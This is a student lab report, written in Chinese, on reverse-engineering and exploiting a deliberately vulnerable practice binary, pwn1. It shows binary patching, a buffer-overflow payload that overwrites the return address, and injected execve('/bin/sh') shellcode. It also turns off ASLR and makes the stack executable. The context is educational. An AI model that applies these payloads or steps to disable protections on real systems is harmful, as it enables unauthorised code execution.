实验目的
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实验内容
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
基础知识
1.NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2.反汇编
(1)由已生成的机器语言(二进制语言)转化为汇编语言的过程,也可以说是汇编的逆向过程
(2)在本次实验中,我们在Linux环境下使用objdump反汇编工具对pwn1文件进行反汇编
(3)反汇编指令objdump -d <文件名>
3.十六进制编辑器
(1)十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。Linux系统中可以使用多种十六进制编辑器,在本次实验中我主要使用xxd,xxd 是一个命令行十六进制编辑器,可以创建二进制文件的十六进制转储。
(2)%!xxd 进入十六进制编辑模式
(3)%!xxd -r 切换回原模式
实验过程
(一)直接修改程序机器指令,改变程序执行流程
首先我们输入sudo su来获取root权限,然后通过输入hostname zhaobingqian来改变终端名,在这里我修改为自己名字的拼音全写,打开新终端后显示修改成功。
通过共享文件夹(共享文件夹命名为kalilujing)将pwn1文件下载至kali中并将pwn1文件改名为pwn20222414,然后运行可执行文件./pwn20222414
反汇编文件objdump -d pwn20222414 | more
第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
观察main函数发现,call 跳转到了foo函数,而根据对pwn20222414文件的运行测试发现,它只会简单回显任何用户输入的字符串。根据实验要求,我们需要修改可执行文件,改变程序执行流程,直接跳转到getShell函数。这里就需要修改主函数,想办法将call foo改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址804847d。
偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。由此可知,要想调用getShell,偏移量为0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff,即需要将0xd7ffffff修改为0xc3ffffff。
修改过程如下:
在终端输入vi pwn20222414 ,打开文件后为乱码
按esc键,输入:%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址
修改地址,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并使用:wq命令保存退出;
反汇编objdump -d pwn20222414 | more查看机器指令;
可以看到修改成功
输入./pwn20222414显示运行结果
成功获取shell,即成功调用了getShell函数。
(二)通过构造输入参数,造成BOF攻击,改变程序执行流
首先安装gdb,使用sudo apt update和sudo apt install gdb命令安装gdb。安装完成后输入gdb,检查gdb是否安装成功。
在程序调用时,会创建一个栈帧,foo函数用于读取字符串。然而,系统只为该函数分配了28字节的缓冲区,这使程序存在缓冲区溢出漏洞。通过向这个缓冲区输入超出其限制长度的字符串,可以覆盖返回地址,并将其修改为指向getShell函数,从而实现攻击目的。
根据之前的反汇编结果,程序正常执行时,call指令会调用foo函数,并在堆栈中压入返回地址0x80484ba。
接下来,使用gdb调试工具对文件pwn2进行调试,命令为gdb pwn20222414,以确认输入字符串的哪几个字符会覆盖到返回地址。通过这种方式,可以确定覆盖返回地址的具体位置,进一步实现漏洞利用。
使用gdb对pwn20222414程序进行调试时,输入字符串1111111122222222333333334444444412345678,然后使用命令info r查看寄存器eip的值,发现输入的1234(即十六进制的0x34333231)被覆盖到了堆栈上的返回地址。因此,我们只需将这四个字符替换为getShell的内存地址,就可以让程序执行getShell函数。
根据之前的反汇编结果,getShell函数的内存地址为0x0804847d。将该地址替换为原来的返回地址位置,并将其输入给pwn20222414,即可成功运行getShell函数。
将1234
替换为getShell
的地址0x0804847d
,我们需要构造如下字符串:11111111222222223333333344444444\x7d\x84\x04\x08
。接下来,通过以下命令生成一个包含这些十六进制内容的文件:
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
其中\x0a
表示回车。生成文件后,使用十六进制查看工具查看文件内容,命令为:
xxd input
确认内容无误后,使用以下命令将input
文件中的字符串作为可执行文件的输入:
(cat input;cat) | ./pwn20222414
通过这种方式,输入字符串将传递给pwn20222414
,从而实现对程序的控制。
成功获取shell,即成功调用了getShell函数。
(三)注入Shellcode并执行
- 首先准备一个新的文件pwn20222414-3
安装execstack:
从网上查阅资料发现使用sudo apt-get upgrade命令无法安装execstack
使用外部官网进行安装步骤,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
安装好后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令进行解压,最终安装成功。(安装execstack时应将文件安装到共享文件夹kalilujing中)
通过以下命令对pwn20222414-3
文件进行设置:
设置堆栈可执行:
execstack -s pwn20222414-3
查询文件的堆栈是否可执行:
execstack -q pwn20222414-3
关闭地址随机化:
echo "0" > /proc/sys/kernel/randomize_va_space
验证地址随机化是否关闭:
more /proc/sys/kernel/randomize_va_space
- 构造要使用的payload
Linux下有两种基本构造攻击缓冲区溢出的方法:
retaddr + nop + shellcode
nop + shellcode + retaddr
使用以下命令构造shellcode
的输入(x1x2x3x4
是占位符,后续将替换为注入shellcode
的地址,即foo
函数中返回地址的位置,这个地址需要我们接下来通过gdb
分析找到),并将其放入名为input_shellcode
的文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
输入以下命令将input_shellcode
的输入内容作为pwn20222414-3
的输入:
(cat input_shellcode; cat) | ./pwn20222414-3
新打开一个终端,输入以下命令查看pwn20222414-3
文件的进程及进程号:
ps -ef | grep pwn20222414-3
可以看到,进程号分别为45421和45554,但是45421才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,输入gdb pwn20222414-3,来获取foo函数中returnaddress的位置。
输入命令attach 45421,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析
可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffd39c;
使用x/16x 0xffffd39c命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x01020304,这说明找的就是这个地址。
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffd39c+4=0xffffd3a0。
现在进行shellcode的注入,将0x04030201换成上述我们计算出来的位置0xffffd3a0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn20222414-3,将input_shellcode的输入内容作为pwn20222414-3的输入。
成功获取shell,即成功调用了getShell函数。
(四)结合nc模拟远程攻击
实验中需要用到两台虚拟机,因此我重新安装了一台虚拟机,直接克隆的原来的kali(通过查阅资料学习了克隆虚拟机的方法)。两台虚拟机的网络适配器均设置为NAT模式
先使用ifconfig命令查看两台虚拟机ip地址,另一台虚拟机同理
主机1:模拟一个有漏洞的网络服务
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入。
主机2:连接主机1并发送攻击载荷
问题及解决方案
问题1:无法安装execstack包,安装之后显示错误:没有那个文件或目录
解决方案:通过从官网下载安装包来解决这个问题,链接:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
同时应将安装包安装到自己设置的共享文件夹kalilujing下,否则会显示没有那个文件或目录。
问题2:完成过程(一)、(二)时均比较顺利,但在做过程(三)时出现了很多问题
比如此时应该有两个进程号,但只出现了一个,按照该进程号继续进行后续的实验,无法成功获取shell
解决方案:通过多次尝试,发现要在一个新终端里输入'ps -ef | grep pwn20222414-2',可能出现错误的原因是起初并未意识到要用新终端而直接在老终端中输入了。
问题3:在做过程(三)时,在新终端、老终端中因为不知道该何时按enter键而导致出错,比如在新终端输入c时,c表示continue继续运行,继续运行后,要在老终端按一下enter键,否则新终端的continue将一直进行。再比如该图中:
要在AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeeeeeoeeee1ePh//shh/bineepsee1Y后按一次enter键,不用一直按enter键至出现ls。
解决方案:仍然是多次尝试,最终得出了正确的结果。
问题4:十六进制计算错误,栈顶指针地址再加4字节,计算shellcode应该处于的地址时计算出错。
解决方案:在发现并未得到预期结果时,重新检查了一遍,发现是计算出错并及时修改了。
学习感悟、思考等
在本次实验过程中,我深刻体会到逆向破解与缓冲区溢出攻击的复杂性与细致性。通过反汇编分析和机器码的修改,我认识到技术基础的准确性对于破解实验的成败至关重要,任何细小的计算误差都会导致程序无法正确执行。在构造缓冲区溢出攻击时,gdb调试工具发挥了关键作用,使我能够准确定位返回地址并实现漏洞利用。这让我深刻理解了调试工具在攻防实践中的不可替代性。
实验中遇到了各种各样的小问题,也让我意识到了在做攻防实验时严谨细致的重要性,任何一个微小的错误都可能导致无法出现预期的实验结果。同时,起初在实验时我也遇到了一些难以解决的问题,通过在网上查阅相关资料,询问成功做出来的同学这些问题均顺利解决。通过解决这些问题,让我了解了有关网络攻防的相关知识,也在技术操作上有所提升,在问题解决、调试分析和实验环境适应等方面有了更深入的思考。从一开始面对实验指导书时的无从下手,到独立完成实验,这次实验不仅锻炼了我的技术能力,也培养了我在攻防实践中面对挑战时的耐心与细致,总体来说本次实验使我收获颇丰。
参考资料链接:
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md
https://wenku.csdn.net/answer/871zi41mfh
https://blog.csdn.net/wangmx1993328/article/details/108036920